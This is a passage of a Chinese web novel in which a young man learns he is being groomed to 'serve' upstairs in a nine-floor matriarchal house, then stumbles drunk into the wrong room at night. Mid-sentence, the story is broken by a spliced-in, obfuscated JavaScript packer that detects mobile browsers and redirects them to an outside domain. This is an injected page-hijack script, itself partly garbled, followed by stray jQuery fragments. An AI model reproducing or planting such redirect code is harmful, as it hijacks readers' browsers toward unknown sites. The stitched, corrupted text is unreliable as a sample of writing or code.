朱志明皱眉,露出不解的苦相:“什么意思?”
顾辉脸上依然平平淡淡,继续道:“我推测此地的掌权者是女性。这里可能是个母权社会,男性地位低下。男性……才是提供服务的一方。”
说到这里,顾辉停顿下来,看向朱志明。
朱志明觉得顾辉的话里藏着重要的信息,却一时没能完全理解。
他不想在顾辉面前显得反应太慢,但心中的困惑越来越强,只好开口问:“那又怎样?”
顾辉继续说道:“这里一共分九层。楼层越低,地位就越低。我们在一楼的这些男子,都只是‘预备人选’。”
朱志明一下子明白过来,脸色顿时变了:“我们就是被选出来、准备送到楼上接客的?!”
他的声音微微发颤,不自觉地缩了缩身子,懊恼地说:“早知道这样,我宁可不要这张脸!把我变回原来戴眼镜的样子好了,肯定没人看得上!怎么办……现在长成这样……”
他试图让自己镇定下来,喃喃自语:“没事,这里到处都是好看的,也不止我一个。不一定就会选到我……”
等朱志明稍微冷静点,顾辉却冷着脸沉默不语,气氛一下子凝固了。
周笔灰捏着竹筷,有些烦了:“还吃不吃饭了?顾辉,大家名字里都带个‘hui’,你怎么这么磨叽?”
朱志明闻言,望向周笔灰。
周笔灰看向他,语气沉了沉:“兄弟,有个消息得告诉你……你最好有点心理准备。”
朱志明伸出手,却控制不住地发抖,他急忙用另一只手握紧,但两只手仍抖个不停。
他急着追问:“快说!”
周笔灰说道:“我们之前挨的那顿打,并不是平白无故的。那其实是一种筛选。伤得最轻——应该说,伤好得最慢的人……”
朱志明指向自己:“那不就是我吗?怎么了?”
顾辉接过话,声音低沉:“这就是他们选人的标准之一。符合条件的人,很快就要被送上楼。上楼意味着什么……我不说你也该明白了,朱志明?我知道你还没经历过这种事,也根本接受不了……”
朱志明听得全身发麻,抓着头,嘴里呜咽着在房间里打转。
眼角余光瞥见柜子上铜镜里自己那张帅脸,他烦躁地挥袖一扫。镜子晃了晃,险些倒下。
当天晚上,朱志明辗转难眠。
他背着顾辉和周笔灰,偷偷喝了酒。
半夜尿急,他迷迷糊糊起身。脚步虚浮,走错了房间,停在了隔壁门前。
门内传来一阵声响。
起初像是猫叫,细而尖。但只一瞬,音
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327770|177457||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
调就被拖长了,变得扭曲,中间夹杂着断续的嘶嘶声。
声音持续不断,在寂静中格外清晰。
朱志明听得全身汗毛倒竖,酒意瞬间惊醒。
他还未察觉走错了房间,只当是酒劲上头带来的幻觉。于是用手指按了按太阳穴,只想赶紧回床睡觉。
忽然,一股凉意拂面而来,风中带着一股淡淡的香味,似花非花,似药非药,难以分辨。